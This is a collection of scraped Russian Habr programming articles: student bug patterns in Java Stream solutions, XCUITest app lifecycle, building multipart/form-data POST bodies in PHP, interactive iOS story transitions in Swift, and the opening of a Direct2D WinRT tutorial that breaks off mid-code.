#### Обёртка решения в класс
Платформа ожидала получить решение в виде одного метода, но многие пользователи присылали полноценную программу с объявлением внешнего класса и импортами.
#### Неправильное использование метода sorted
Все функциональные методы класса Stream возвращают новый экземпляр класса, а не модифицируют старый.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
stream.sorted(order);
T[] array = (T[]) stream.toArray();
if (t.length == 0) {
minMaxConsumer.accept(null, null);
} else {
minMaxConsumer.accept(array [0], array [array .length - 1]);
}
}
```
#### Неправильная обработка пустого потока
В случае пустого потока ожидалось, что будут переданы значения null. В некоторых решениях в этом случае метод accept вообще не вызывался.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
List list = Arrays.asList(
stream.sorted(order).toArray());
if(arrayList.size() > 0) {
minMaxConsumer.accept((T) list.get(0), (T) list.get(list.size()-1));
}
}
```
#### Неправильная проверка потока на пустоту
Некоторые решения пытаются явно проверять пустоту потоков, но делают это неправильно. В некоторых случаях проверки получаются бессмысленными (например, никакой объект не может быть equals значению null), а count — терминальная операция, поэтому её использование делает невозможным дальнейшее использование потока.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
if (stream.equals(null)) {
minMaxConsumer.accept(null, null);
} else {
List list = stream.sorted(order)
.collect(Collectors.toList());
minMaxConsumer.accept(list.get(0),
list.get(list.size() - 1));
}
}
```
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
if (stream.count() > 0) {
List list = stream.sorted(order)
.collect(Collectors.toList());
minMaxConsumer.accept(list.get(0),
list.get(list.size() - 1));
}
minMaxConsumer.accept(null, null);
}
```
#### Путаница в операторах сравнения
Также учащиеся часто путались в знаках сравнения.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
Object[] minMaxHolder = new Object[]{null, null};
stream.forEach(x -> {
if (minMaxHolder[0] == null) {
minMaxHolder[0] = x;
minMaxHolder[1] = x;
}
if (order.compare((T) minMaxHolder[0], x) < 0)
minMaxHolder[0] = x;
if (order.compare((T) minMaxHolder[1], x) > 0)
minMaxHolder[1] = x;
});
minMaxConsumer.accept((T) minMaxHolder[0], (T) minMaxHolder[1]);
}
```
Из полученных результатов можно сделать вывод, что выбранный подход может применяться для автоматической выдачи подсказок на обучающей онлайн-платформе. В данной работе использовался простейший алгоритм классификации. Сейчас мы исследуем применимость в данной задаче более сложных нейросетевых подходов. Их использование осложнено сравнительно небольшим количеством решений, но предварительные данные показывают, что такие подходы всё равно дают преимущество в качестве итоговой классификации. Исходный код проекта можно найти [здесь](https://github.com/ml-in-programming/bugs-classification). О других проектах нашей группы можно узнать [тут](https://research.jetbrains.org/ru/groups/ml_methods/projects).
Автор статьи: [Артём Лобанов](https://research.jetbrains.org/ru/researchers/artyom_lobanov), исследователь [лаборатории методов машинного обучения в программной инженерии](https://research.jetbrains.org/ru/groups/ml_methods) в JetBrains Research. | https://habr.com/ru/post/504118/ | null | ru | null |
# Погружение в автотестирование на iOS. Часть 3. Жизненный цикл iOS приложения во время прогона тестов
Привет, Хабр!
В этой статье я расскажу про жизненный цикл iOS приложения во время прогона тестов, а в частности про:
* Предусловия и постусловия в ui-тестах;
* Запуск/завершение работы приложения;
* Запуск стороних приложений;
* Сброс permissions;
* Определение состояния приложения.
### Предусловия и постусловия в ui-тестах
В классе с автотестами мы можем кофигурировать предусловия и постусловия используя следующие методы:
* Переопределить метод класса `setUp()`, чтобы установить предусловия для всех тестов в классе(выполняется перед первым тестом в классе);
* Переопределить метод `setUpWithError()`, чтобы установить предусловия и обработать ошибки перед запуском каждого теста;
* Переопределить метод `setUp()`, чтобы установить предусловия перед запуском каждого теста в классе;
* Объявить `addTearDownBlock(_:)` внутри своего тесты, чтобы выполнить очистку необходимых условий в рамках прохождения теста;
* Переопределить метод `tearDown()`, чтобы выполнить очистку после каждого теста в клаcсе
* Переопределить метод `tearDownWithError()`, чтобы выполнить очистку после каждого теста в клаcсе и обработать ошибки;
* Переопределить метод класса `tearDown()`, чтобы выполнить очистку после того как все тесты в классе завершаться.
Пример объявления и использования методов отображен в коде ниже:
```
//Source: developer.apple.com
class SetUpAndTearDownExampleTestCase: XCTestCase {
override class func setUp() { // 1.
// This is the setUp() class method.
// It is called before the first test method begins.
// Set up any overall initial state here.
}
override func setUpWithError() throws { // 2.
// This is the setUpWithError() instance method.
// It is called before each test method begins.
// Set up any per-test state here.
}
override func setUp() { // 3.
// This is the setUp() instance method.
// It is called before each test method begins.
// Use setUpWithError() to set up any per-test state,
// unless you have legacy tests using setUp().
}
func testMethod1() throws { // 4.
// This is the first test method.
// Your testing code goes here.
addTeardownBlock { // 5.
// Called when testMethod1() ends.
}
}
func testMethod2() throws { // 6.
// This is the second test method.
// Your testing code goes here.
addTeardownBlock { // 7.
// Called when testMethod2() ends.
}
addTeardownBlock { // 8.
// Called when testMethod2() ends.
}
}
override func tearDown() { // 9.
// This is the tearDown() instance method.
// It is called after each test method completes.
// Use tearDownWithError() for any per-test cleanup,
// unless you have legacy tests using tearDown().
}
override func tearDownWithError() throws { // 10.
// This is the tearDownWithError() instance method.
// It is called after each test method completes.
// Perform any per-test cleanup here.
}
override class func tearDown() { // 11.
// This is the tearDown() class method.
// It is called after all test methods complete.
// Perform any overall cleanup here.
}
}
```
На картинке ниже отображена последовательность выполнения методов:
### Запуск/завершение работы приложения
Если мы хотим запустить/завершить приложение, мы можем легко сделать это с помощью метода запуска или завершения:
```
// Запускаем приложение
XCUIApplication().launch()
// Завершаем работу приложения
XCUIApplication().terminate()
```
Если мы хотим запустить приложение с определенными аргументами или переменными окружения, которые были настроены в основном приложении, мы можем запустить приложение с launchArgument или launchEnvironment. Более подробно об аргументах и переменных окружения можно почитать [здесь](https://developer.apple.com/documentation/foundation/process).
```
let app = XCUIApplication()
// Добавляем аргумент для запуска приложения
app.launchArguments.append("-debugServer")
// Добавляем переменную окружения для запуска приложения
app.launchEnvironment = ["inAppPurchasesEnabled":"false",
"inAppAdsEnabled":"false"]
app.launch()
```
Также это можно сделать через тест-план. Во вкладке Configuration разделе Arguments будут два поля:
* Arguments Passed on launch — сюда добавляем необходимые аргументы для запуска нужного состояния приложения;
* Environment variables — сюда добавляем необходимые переменные окружения для запуска нужного состояния приложения.
Более подробно о тест-планах можно прочитать в этой [статье](https://habr.com/ru/company/tinkoff/blog/457108/).
### Запуск стороних приложений
Бывают ситуации, когда нужно запустить стороннее приложение. Например, Safari для проверки диплинков. Это можно сделать в рамках прохождения теста или на старте приложения. Для этого нужно знать bundle id приложения и передать его в качестве аргумента в XCUIApplication.
Информация об доступных bundle id можно найти на [сайте apple](https://support.apple.com/en-gb/guide/mdm/mdm90f60c1ce/web).
Пример кода для запуска приложения по bundle id:
```
// Запускаем safari
XCUIApplication(bundleIdentifier: "com.apple.mobilesafari").launch()
// Во время прохождения теста открываем safari
XCUIApplication(bundleIdentifier: "com.apple.mobilesafari").activate()
```
### Сброс permissions
На WWDC 2020 Apple представили возможность в тестах сбрасывать permissions. Это удобная функция, если вам нужно протестировать разные состояния экрана, завязанные на permissions. Важно, что метод доступен на симуляторах с версией iOS выше или равно 13.4.
Список permissions для сброса, можно посмотреть в перечислении — XCUIProtectedResource:
```
@available(iOS 13.4, *)
public enum XCUIProtectedResource : Int {
// All platforms
case contacts = 1
case calendar = 2
case reminders = 3
case photos = 4
case microphone = 5
case camera = 6
case mediaLibrary = 7
case homeKit = 8
// macOS-specific resources
// iOS Family-specific resources
case bluetooth = -1073741824
case keyboardNetwork = -1073741825
case location = -1073741826
}
```
Пример как отключить permissions доступа к контактам в рамках теста:
```
override func setUpWithError() throws {
if #available(iOS 13.4, *) {
application.resetAuthorizationStatus(for: .contacts)
} else {
throw XCTSkip("Required API is not available for this test.")
}
}
```
В коде выше мы сбрасываем доступ к контактам в предусловии, если симулятор с версией iOS выше или равно 13.4. Если же нет, мы пропускам тест в прогоне.
### Состояния приложения
Бывают ситуации, когда нужно понять, в каком состоянии приложение находилось во время прогона тестов.
У приложения есть несколько состояний, которые можно получить во время прохождения теста:
```
public enum State : UInt {
case unknown = 0 // Текущее состояние приложения неизвестно
case notRunning = 1 // Приложение не запущено
case runningBackgroundSuspended = 2 // Приложение работает в фоновом режиме, но приостановлено
case runningBackground = 3 // Приложение работает в фоновом режиме
case runningForeground = 4 // Приложение работает
}
```
Представим ситуацию, что нам нужно нажать на кнопку home на iPhone 5s и проверить, что приложение перешло в состояние foreground.
Пример реализации такого кейса:
```
// Нажимаем на текущем симуляторе кнопку home
XCUIDevice.shared.press(.home)
// Делаем явное ожидания, чтобы состояния приложение обновилось и мы перешли на экран home симулятора
Thread.sleep(forTimeInterval: 5)
// Проверяем что состояние приложения - runningBackground
XCTAssertEqual(XCUIApplication().state, .runningBackground)
```
### Самое важное:
* Вы можете конфигурировать предусловия и постусловия ваших тестов, используя методы setUp() и tearDown();
* Запустить приложения, зная его bundle id;
* Если в приложении есть аргументы или переменные окружения, их можно добавить перед прогоном тестов;
* Сбрасывать состояния пермишенов вашего приложения можно на симуляторах версии iOS выше или равно 13.4.
В следующей заключительной статье по погружению в iOS-автоматизацию мы расскажем: что такое ожидания в ui-тестах, для чего они нужны, какие бывают, и приведем пример, как написать эффективные ожидания для ваших тестов.
### Навигация по статьям:
* [Погружение в автотестирование на iOS. Часть 1. Как работать с accessibilityidentifier объектов](https://habr.com/ru/company/vivid_money/blog/533180/)
* [Погружение в автотестирование на iOS. Часть 2. Как взаимодействовать с ui-элементами iOS приложения в тестах](https://habr.com/ru/company/vivid_money/blog/538708/)
* [Погружение в автотестирование на iOS. Часть 4. Ожидания в XCUITest](https://habr.com/ru/company/vivid_money/blog/547422/)
---
Интересуешься автоматизацией на iOS? Подписывайся на мой [телеграмм-канал](https://t.me/ios_automation_testing), в котором я публикую материалы, которые будут полезны как начинающим, так и опытным iOS-автоматизаторам. | https://habr.com/ru/post/544254/ | null | ru | null |
# POST запрос, составное содержимое (multipart/form-data)
### Передача составных данных методом POST
В жизни любого программиста попадаются задачки, которые человека цепляют. Вот не нравится стандартный метод решения и все! А порой бывает, что стандартные решения не подходят по какой-то причине. Некоторые люди обходят такие задачи стороной, другие же любят решать их. Можно даже сказать сами их находят. Одна из таких задач отсылка файла или несколько файлов методом POST.
Некоторые наверное скажут, эта задача совсем не задача. Ведь есть замечательная библиотека CURL, которая довольно простая и решает эту задачу легко! Но не спешите. Да, CURL мощная библиотека, да она загружает файлы, но… Как Вы знаете у нее есть маленькая особенность — файл должен быть размещен на жестком диске!
А теперь давайте представим себе такую ситуацию, Вы генерируете динамически файл или же он уже находится в памяти и нужно его отправить методом POST на удаленный Web сервер. Что же тогда получается? Перед его отправкой нужно его сохранить? Да именно так и поступило бы 90% программистов. Зачем искать лишние проблемы, если решение лежит на поверхности? Но мы же с Вами не из этих 90%! Мы же лучше, мы же можем решить любую задачку. Зачем нам лишнее действие? Во-первых, оно задействует не быструю файловую систему жесткого диска. Во-вторых, у нас может и не быть доступа к файловой системе или же там выделено слишком мало места.
Как же нам тогда решить эту задачку? Для этого надо взглянуть как собственно передаются данные методом POST. Единственный вариант решения — это передача файла составным запросом с помощью [multipart/form-data](https://ru.wikipedia.org/wiki/Multipart/form-data). Этот метод хорошо описан в [RFC7578](https://tools.ietf.org/html/rfc7578). Давайте взглянем как будет выглядеть тело POST запроса multipart/form-data:
> *```
>
> POST /form.html HTTP/1.1
> Host: server.com
> Referer: http://server.com/form.html
> User-Agent: Mozilla
> Content-Type: multipart/form-data; boundary=-------------573cf973d5228
> Content-Length: 288
> Connection: keep-alive
> Keep-Alive: 300
> (пустая строка)
> (отсутствующая преамбула)
> ---------------573cf973d5228
> Content-Disposition: form-data; name="field"
>
> text
> ---------------573cf973d5228
> Content-Disposition: form-data; name="file"; filename="sample.txt"
> Content-Type: text/plain
>
> Content file
> ---------------573cf973d5228--
>
> ```*
>
>
Наше тело состоит из двух частей, в первой части мы передаем значение поля формы **name=«field»** равное: **text**. Во второй части мы передаем поле **name=«file»** с содержимым файла **filename=«sample.txt»: Content file**. В заголовке мы указываем формат содержимого POST запроса — **Content-Type: multipart/form-data**, строку разделитель составных частей: **boundary=-------------573cf973d5228** и длину сообщения — **Content-Length: 288**.
Осталось, собственно, написать программу реализующий этот метод. Так как мы люди умные и не пишем по сто раз одно и тоже в разных проектах, то оформим все в виде класса реализующий этот метод. Плюс к этому, расширим его для разных вариантов отправки как файлов, так и простых элементов формы. А что бы отличить среди массива POST данных, наличие файла, создадим отдельный файл — контейнер с содержимым файла и его данных (имя и расширение). Таким образом он будет выглядеть следующим образом:
```
```
class oFile
{
private $name;
private $mime;
private $content;
public function __construct($name, $mime=null, $content=null)
{
// Проверяем, если $content=null, значит в переменной $name - путь к файлу
if(is_null($content))
{
// Получаем информацию по файлу (путь, имя и расширение файла)
$info = pathinfo($name);
// проверяем содержится ли в строке имя файла и можно ли прочитать файл
if(!empty($info['basename']) && is_readable($name))
{
$this->name = $info['basename'];
// Определяем MIME тип файла
$this->mime = mime_content_type($name);
// Загружаем файл
$content = file_get_contents($name);
// Проверяем успешно ли был загружен файл
if($content!==false) $this->content = $content;
else throw new Exception('Don`t get content - "'.$name.'"');
} else throw new Exception('Error param');
} else
{
// сохраняем имя файла
$this->name = $name;
// Если не был передан тип MIME пытаемся сами его определить
if(is_null($mime)) $mime = mime_content_type($name);
// Сохраняем тип MIME файла
$this->mime = $mime;
// Сохраняем в свойстве класса содержимое файла
$this->content = $content;
};
}
// Метод возвращает имя файла
public function Name() { return $this->name; }
// Метод возвращает тип MIME
public function Mime() { return $this->mime; }
// Метод возвращает содержимое файла
public function Content() { return $this->content; }
};
```
```
Теперь собственно сам класс по формированию тела multipart/form-data для POST запроса:
```
```
class BodyPost
{
//Метод формирования части составного запроса
public static function PartPost($name, $val)
{
$body = 'Content-Disposition: form-data; name="' . $name . '"';
// Проверяем передан ли класс oFile
if($val instanceof oFile)
{
// Извлекаем имя файла
$file = $val->Name();
// Извлекаем MIME тип файла
$mime = $val->Mime();
// Извлекаем содержимое файла
$cont = $val->Content();
$body .= '; filename="' . $file . '"' . "\r\n";
$body .= 'Content-Type: ' . $mime ."\r\n\r\n";
$body .= $cont."\r\n";
} else $body .= "\r\n\r\n".urlencode($val)."\r\n";
return $body;
}
// Метод формирующий тело POST запроса из переданного массива
public static function Get(array $post, $delimiter='-------------0123456789')
{
if(is_array($post) && !empty($post))
{
$bool = false;
// Проверяем есть ли среди элементов массива файл
foreach($post as $val) if($val instanceof oFile) {$bool = true; break; };
if($bool)
{
$ret = '';
// Формируем из каждого элемента массива, составное тело POST запроса
foreach($post as $name=>$val)
$ret .= '--' . $delimiter. "\r\n". self::PartPost($name, $val);
$ret .= "--" . $delimiter . "--\r\n";
} else $ret = http_build_query($post);
} else throw new \Exception('Error input param!');
return $ret;
}
};
```
```
Данный класс состоит из нескольких методов. Метод — PartPost формирует отдельные части составного запроса, а метод — Get объединяет эти части и формирует тело POST запроса в формате — multipart/form-data.
Теперь у нас есть универсальный класс для отправки тела POST запроса. Осталось написать программу использующую данный класс для отправки файлов на удаленный Web сервер. Воспользуемся библиотекой CURL:
```
// Подключаем класс-контейнер содержимого файла
include "ofile.class.php";
// Подключаем класс для формирования тела POST запроса
include "bodypost.class.php";
// Генерируем уникальную строку для разделения частей POST запроса
$delimiter = '-------------'.uniqid();
// Формируем объект oFile содержащий файл
$file = new oFile('sample.txt', 'text/plain', 'Content file');
// Формируем тело POST запроса
$post = BodyPost::Get(array('field'=>'text', 'file'=>$file), $delimiter);
// Инициализируем CURL
$ch = curl_init();
// Указываем на какой ресурс передаем файл
curl_setopt($ch, CURLOPT_URL, 'http://server/upload/');
// Указываем, что будет осуществляться POST запрос
curl_setopt($ch, CURLOPT_POST, 1);
// Передаем тело POST запроса
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
/* Указываем дополнительные данные для заголовка:
Content-Type - тип содержимого,
boundary - разделитель и
Content-Length - длина тела сообщения */
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: multipart/form-data; boundary=' . $delimiter,
'Content-Length: ' . strlen($post)));
// Отправляем POST запрос на удаленный Web сервер
curl_exec($ch);
```
Если CURL не подходит, то данную библиотеку можно применить и для отправки через сокеты. Ну и собственно ссылки на источники:
* сайт документации [php.net](http://php.net/manual/ru/function.curl-setopt.php#119350)
* статья [CURL: POST запрос, составное содержимое](http://tceburashka.com/curl-multipart-form-data/)
* википендия: [multipart/form-data](https://ru.wikipedia.org/wiki/Multipart/form-data)
* [RFC7578](https://tools.ietf.org/html/rfc7578)
В следующей статье предложу вашему вниманию информацию о том, как качать большие файлы с удаленных Web-серверов в несколько потоков, с указанной скоростью. Всем, кто дочитал до конца, спасибо за внимание! | https://habr.com/ru/post/511114/ | null | ru | null |
# Настало время офигительных историй. Кастомные транзишены в iOS. [2/2]
В [прошлой статье](https://habr.com/ru/company/citymobil/blog/549284/) мы реализовали анимацию ZoomIn/ZoomOut для открытия и закрытия экрана с историями.
В этот раз мы прокачаем `StoryBaseViewController` и реализуем кастомные анимации при переходе между историями.
#### Навигация между историями
Давайте сделаем анимацию для переходов между историями.
```
enum TransitionOperation {
case push, pop
}
public class StoryBaseViewController: UIViewController {
// MARK: - Constants
private enum Spec {
static let minVelocityToHide: CGFloat = 1500
enum CloseImage {
static let size: CGSize = CGSize(width: 40, height: 40)
static var original: CGPoint = CGPoint(x: 24, y: 50)
}
}
// MARK: - UI components
private lazy var closeButton: UIButton = {
let button = UIButton(type: .custom)
button.setImage(#imageLiteral(resourceName: "close"), for: .normal)
button.addTarget(self, action: #selector(closeButtonAction(sender:)), for: .touchUpInside)
button.frame = CGRect(origin: Spec.CloseImage.original, size: Spec.CloseImage.size)
return button
}()
// MARK: - Private properties
// 1
private lazy var percentDrivenInteractiveTransition: UIPercentDrivenInteractiveTransition? = nil
private lazy var operation: TransitionOperation? = nil
// MARK: - Lifecycle
public override func loadView() {
super.loadView()
setupUI()
}
}
extension StoryBaseViewController {
private func setupUI() {
// 2
let panGestureRecognizer = UIPanGestureRecognizer(target: self, action: #selector(handlePanGesture(_:)))
panGestureRecognizer.delegate = self
view.addGestureRecognizer(panGestureRecognizer)
view.addSubview(closeButton)
}
@objc
private func closeButtonAction(sender: UIButton!) {
dismiss(animated: true, completion: nil)
}
}
// MARK: UIPanGestureRecognizer
extension StoryBaseViewController: UIGestureRecognizerDelegate {
@objc
func handlePanGesture(_ panGesture: UIPanGestureRecognizer) {
handleHorizontalSwipe(panGesture: panGesture)
}
// 3
private func handleHorizontalSwipe(panGesture: UIPanGestureRecognizer) {
let velocity = panGesture.velocity(in: view)
// 4 Отвечает за прогресс свайпа по экрану, в диапазоне от 0 до 1
var percent: CGFloat {
switch operation {
case .push:
return abs(min(panGesture.translation(in: view).x, 0)) / view.frame.width
case .pop:
return max(panGesture.translation(in: view).x, 0) / view.frame.width
default:
return max(panGesture.translation(in: view).x, 0) / view.frame.width
}
}
// 5
switch panGesture.state {
case .began:
// 6
percentDrivenInteractiveTransition = UIPercentDrivenInteractiveTransition()
percentDrivenInteractiveTransition?.completionCurve = .easeOut
navigationController?.delegate = self
if velocity.x > 0 {
operation = .pop
navigationController?.popViewController(animated: true)
} else {
operation = .push
let nextVC = StoryBaseViewController()
nextVC.view.backgroundColor = UIColor.random
navigationController?.pushViewController(nextVC, animated: true)
}
case .changed:
// 7
percentDrivenInteractiveTransition?.update(percent)
case .ended:
// 8
if percent > 0.5 || velocity.x > Spec.minVelocityToHide {
percentDrivenInteractiveTransition?.finish()
} else {
percentDrivenInteractiveTransition?.cancel()
}
percentDrivenInteractiveTransition = nil
navigationController?.delegate = nil
case .cancelled, .failed:
// 9
percentDrivenInteractiveTransition?.cancel()
percentDrivenInteractiveTransition = nil
navigationController?.delegate = nil
default:
break
}
}
}
```
1. Чтобы наша анимация была интерактивной и следовала за движением пальца, мы создаем объект `percentDrivenInteractiveTransition`. А `operation` отвечает за тип перехода (`push` или `pop`).
2. Добавляем наш жест во view.
3. Реализуем обработчик нажатия/свайпа.
4. `percent` отвечает за прогресс свайпа по экрану в диапазоне от 0 до 1.
5. В зависимости от состояния жеста конфигурируем наши свойства.
6. Как только начинается новый жест, создаем свежий экземпляр `UIPercentDrivenInteractiveTransition` и сообщаем делегату `navigationController`’а, что мы самостоятельно его реализуем (реализация будет ниже). Если направление свайпа положительное, то мы сохраняем в переменную `operation` значение `.pop`, и сообщаем `navigationController`’у, что мы начали процесс перехода с анимацией `.navigationController?.popViewController(animated: true)`. Аналогично делаем для `.push`-перехода.
7. Когда наш свайп уже активен, мы передаем его прогресс в `percentDrivenInteractiveTransition`.
8. Если мы просвайпили более половины экрана, или это было сделано с скоростью более 1500, то мы завершаем наш переход `percentDrivenInteractiveTransition?.finish()`*.* В противном случае отменяем переход. При этом необходимо очистить `percentDrivenInteractiveTransition` и `navigationController?.delegate`.
9. В случае отмены свайпа мы также отменяем переход и очищаем значения.
Сейчас при начале свайпа нужно сообщить `navigationController`’у, что мы реализуем делегат `navigationController?.delegate = self`. Но мы этого так и не сделали. Самое время:
```
// MARK: UINavigationControllerDelegate
extension StoryBaseViewController: UINavigationControllerDelegate {
// 1
public func navigationController(
_ navigationController: UINavigationController,
animationControllerFor operation: UINavigationController.Operation,
from fromVC: UIViewController,
to toVC: UIViewController
) -> UIViewControllerAnimatedTransitioning? {
switch operation {
case .push:
return StoryBaseAnimatedTransitioning(operation: .push)
case .pop:
return StoryBaseAnimatedTransitioning(operation: .pop)
default:
return nil
}
}
// 2
public func navigationController(
_ navigationController: UINavigationController,
interactionControllerFor animationController: UIViewControllerAnimatedTransitioning
) -> UIViewControllerInteractiveTransitioning? {
return percentDrivenInteractiveTransition
}
}
```
1. Этот метод возвращает аниматор для соответствующего перехода.
2. Возвращаем объект типа `UIPercentDrivenInteractiveTransition`, который отвечает за прогресс интерактивного перехода.
#### Аниматор
Наконец-то реализуем аниматор, который непосредственно отвечает за поведение перехода.
Нам необходимы два метода делегата, отвечающие за продолжительность анимации и сам переход.
```
class StoryBaseAnimatedTransitioning: NSObject {
private enum Spec {
static let animationDuration: TimeInterval = 0.3
static let cornerRadius: CGFloat = 10
static let minimumScale = CGAffineTransform(scaleX: 0.85, y: 0.85)
}
private let operation: TransitionOperation
init(operation: TransitionOperation) {
self.operation = operation
}
}
extension StoryBaseAnimatedTransitioning: UIViewControllerAnimatedTransitioning {
// http://fusionblender.net/swipe-transition-between-uiviewcontrollers/
func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
/// 1 Получаем view-контроллеры, которые будем анимировать.
guard
let fromViewController = transitionContext.viewController(forKey: .from),
let toViewController = transitionContext.viewController(forKey: .to)
else {
return
}
/// 2 Получаем доступ к представлению, на котором происходит анимация (которое участвует в переходе).
let containerView = transitionContext.containerView
containerView.backgroundColor = UIColor.clear
/// 3 Закругляем углы наших view при переходе.
fromViewController.view.layer.masksToBounds = true
fromViewController.view.layer.cornerRadius = Spec.cornerRadius
toViewController.view.layer.masksToBounds = true
toViewController.view.layer.cornerRadius = Spec.cornerRadius
/// 4 Отвечает за актуальную ширину containerView
// Swipe progress == width
let width = containerView.frame.width
/// 5 Начальное положение fromViewController.view (текущий видимый VC)
var offsetLeft = fromViewController.view.frame
/// 6 Устанавливаем начальные значения для fromViewController и toViewController
switch operation {
case .push:
offsetLeft.origin.x = 0
toViewController.view.frame.origin.x = width
toViewController.view.transform = .identity
case .pop:
offsetLeft.origin.x = width
toViewController.view.frame.origin.x = 0
toViewController.view.transform = Spec.minimumScale
}
/// 7 Перемещаем toViewController.view над/под fromViewController.view, в зависимости от транзишена
switch operation {
case .push:
containerView.insertSubview(toViewController.view, aboveSubview: fromViewController.view)
case .pop:
containerView.insertSubview(toViewController.view, belowSubview: fromViewController.view)
}
// Так как мы уже определили длительность анимации, то просто обращаемся к ней
let duration = self.transitionDuration(using: transitionContext)
UIView.animate(withDuration: duration, delay: 0, options: .curveEaseIn, animations: {
/// 8. Выставляем финальное положение view-контроллеров для анимации и трансформируем их.
let moveViews = {
toViewController.view.frame = fromViewController.view.frame
fromViewController.view.frame = offsetLeft
}
switch self.operation {
case .push:
moveViews()
toViewController.view.transform = .identity
fromViewController.view.transform = Spec.minimumScale
case .pop:
toViewController.view.transform = .identity
fromViewController.view.transform = .identity
moveViews()
}
}, completion: { _ in
///9. Убираем любые возможные трансформации и скругления
toViewController.view.transform = .identity
fromViewController.view.transform = .identity
fromViewController.view.layer.masksToBounds = true
fromViewController.view.layer.cornerRadius = 0
toViewController.view.layer.masksToBounds = true
toViewController.view.layer.cornerRadius = 0
/// 10. Если переход был отменен, то необходимо удалить всё то, что успели сделать. То есть необходимо удалить toViewController.view из контейнера.
if transitionContext.transitionWasCancelled {
toViewController.view.removeFromSuperview()
}
containerView.backgroundColor = .clear
/// 11. Сообщаем transitionContext о состоянии операции
transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
})
}
// 12. Время длительности анимации
func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
return Spec.animationDuration
}
```
1. Получаем view-контроллеры, которые будем анимировать.
2. Получаем доступ к представлению `containerView`, на котором происходит анимация (участвующее в переходе).
3. Закругляем углы наших view при переходе.
4. `width` отвечает при анимации за актуальную ширину `containerView`.
5. `offsetLeft` — начальное положение `fromViewController`.
6. Конфигурируем начальное положение для экранов.
7. Перемещаем `toViewController.view` над/под `fromViewController.view`, в зависимости от перехода.
8. Выставляем финальное положение view-контроллеров для анимации и трансформируем их.
9. Убираем любые возможные трансформации и скругления.
10. Если переход был отменен, то необходимо удалить всё то, что успели сделать. То есть необходимо удалить `toViewController.view` из контейнера.
11. Сообщаем `transitionContext` о состоянии перехода.
12. Указываем длительность анимации.
Всё, наш аниматор готов. Теперь запускаем проект и наслаждаемся результатом. Анимации работают.
Весь исходный код можете [скачать тут.](https://github.com/mapmelad/StoriesNavigationPt2) Буду рад вашим комментариям и замечаниям! | https://habr.com/ru/post/549288/ | null | ru | null |
# Использование технологии Direct2D для создания WinRT компонентов
 Эта статья продолжает серию наших рассказов, в которых мы делимся своим опытом разработки визуальных WinRT контролов в стиле Windows 8 UI.
В [прошлый раз](http://habrahabr.ru/company/devexpress/blog/148928/) мы приводили базовые шаги, необходимые для создания своего WinRT контрола и SDK для него, а сейчас речь пойдёт о применении технологии Direct2D для создания визуальных эффектов в вашем WinRT компоненте.
В данной статье мы рассмотрим процесс создания кругового индикатора aka гейдж (gauge control), у которого стрелка будет размываться при движении.
Примечание: полный код этого проекта вы можете скачать по следующей ссылке: [go.devexpress.com/Habr\_WinRTSample.aspx](http://go.devexpress.com/Habr_WinRTSample.aspx)
Что такое Direct2D ?
--------------------
Технология [Direct2D](http://ru.wikipedia.org/wiki/Direct2D) — это ускоренный аппаратным обеспечением API для двухмерной графики, который обеспечивает высокую производительность и высококачественное отображение двухмерной геометрии, растровых изображений и текста.
Direct2D API разработан компанией Microsoft для создания приложений под управлением операционной системы Windows и для взаимодействия с существующим кодом, который использует GDI, GDI+, или Direct3D.
Когда бывает необходимо использовать Direct2D в своих приложениях?
Типичным примером является оптимизация производительности приложений, в которых происходит отрисовка большого количества графических элементов (например, такое бывает нужно при создании графиков с большим объёмом данных, карт и всевозможных индикаторов-гейджей).
Более подробно узнать про Direct2D и особенности её применения можно в [соответствующем разделе](http://msdn.microsoft.com/en-us/library/windows/desktop/dd370987(v=vs.85).aspx) MSDN.
Системные требования
--------------------
Для разработки приложений в стиле Windows 8 UI (METRO) вам понадобятся Windows 8 и Visual Studio 2012. Более подробно об этом можно прочитать в нашей [предыдущей статье](http://habrahabr.ru/company/devexpress/blog/148928/?).
Создание С++ библиотеки с компонентом, использующим Direct2D
------------------------------------------------------------
Чтобы использовать Direct2D в вашем приложении, надо написать WinRT компонент на C++.
Для этого выполним следующие шаги:
1. Запустим Visual Studio 2012 (если вы её вообще когда-либо закрываете :-) )
2. Создадим новый Visual C++ проект типа Windows Runtime Component
Данная библиотека будет содержать реализацию объявление и реализацию нескольких интерфейсов, предназначенных для отрисовки с помощью технологии Direct2D.
3. Затем необходимо в свойствах нашего C++ проекта добавить ссылки на библиотеки Direct2D: d2d1.lib и d3d11.lib.
4. Далее необходимо написать реализацию отрисовки нашего компонента с использованием Direct2D.
Во-первых, создаем статический класс **DrawingFactory** с одним единственным методом **CreateRenderer**, который будет инициализировать библиотеку DirectX, создавать и возвращать экземпляр класса **Renderer**:
```
public ref class DrawingFactory sealed {
public:
static IRenderer^ CreateRenderer();
};
```
Во-вторых, описываем основной интерфейс **IRenderer**, который будет содержать следующие методы и свойства:
— метод **Reset**, предназначенный для пересоздания поверхности для рисования, в нашем случае это **ImageBrush** с размерами, которые были переданы. В дальнейшем полученную **ImageBrush** мы будем присваивать какому-либо элементу в визуальном дереве нашего WinRT компонента;
— свойство **TargetBrush**, которое будет возвращать созданную кисть в методе **Reset** и должен содержать результат отрисовки;
— свойства **EnableMotionBlur**, **MotionBlurAngle**, **MotionBlurDeviation**, которые служат для включения и настройки эффекта размытия при рендеринге примитивов;
— методы **CreateGeometry**, **DrawGeometry**, **FillGeometry**, предназначенные для создания и рисования геометрий;
— Кроме того рассматриваемый интерфейс содержит еще несколько простых и понятных методов и свойств, таких как **BeginDraw**, **EndDraw**, **Clear**, **TargetWidth** и **TargetHeight**.
```
public interface class IRenderer
{
property int TargetWidth { int get(); }
property int TargetHeight { int get(); }
property ImageBrush^ TargetBrush { ImageBrush^ get(); }
property bool EnableMotionBlur { bool get(); void set(bool value); }
